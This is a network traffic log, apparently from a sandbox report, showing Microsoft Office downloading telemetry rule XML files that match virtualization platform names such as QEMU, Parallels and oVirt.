2024-11-24 18:12:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	56406	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:59 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0fd64145-d01e-0028-790a-3d7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181259Z-178bfbc474bmqmgjhC1NYCy16c00000006g00000000015k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	56407	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:59 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3585b350-301e-005d-097c-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181259Z-178bfbc474brk967hC1NYCfu60000000063g00000000ah1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	56408	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:00 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:01 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181301Z-178bfbc474bfw4gbhC1NYCunf4000000067g00000000kr8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:01 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	56409	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:01 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:01 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181301Z-174c587ffdfb74xqhC1TEBhabc00000004qg00000000mk22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:01 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	56410	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:01 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:01 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181301Z-174c587ffdf8fcgwhC1TEBnn7000000004x000000000ga3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:01 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	56411	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:01 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:02 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ea7a0cbc-701e-001e-589c-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181301Z-178bfbc474bwh9gmhC1NYCy3rs00000006b000000000eu87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 18:13:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	56412	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:01 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:01 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c229ce53-501e-008f-23c3-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181301Z-15b8b599d882l6clhC1TEBxd5c00000004sg000000003g8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:02 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	56413	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:03 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: f224b857-001e-00ad-6c03-3e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181303Z-178bfbc474bpscmfhC1NYCfc2c00000004zg000000003wky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	56414	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:03 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:03 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: f3939d66-c01e-00ad-3d3c-3ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181303Z-178bfbc474bh5zbqhC1NYCkdug0000000680000000009s1a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:03 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	56415	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:03 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:04 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 6e54758c-301e-0020-321b-3d6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181304Z-178bfbc474b9xljthC1NYCtw94000000064g00000000key6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:04 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	56416	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:03 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:04 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: c700c3f3-301e-0000-760a-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181304Z-178bfbc474bvjk8shC1NYC83ns000000063000000000f5g0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:04 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	56417	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:03 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
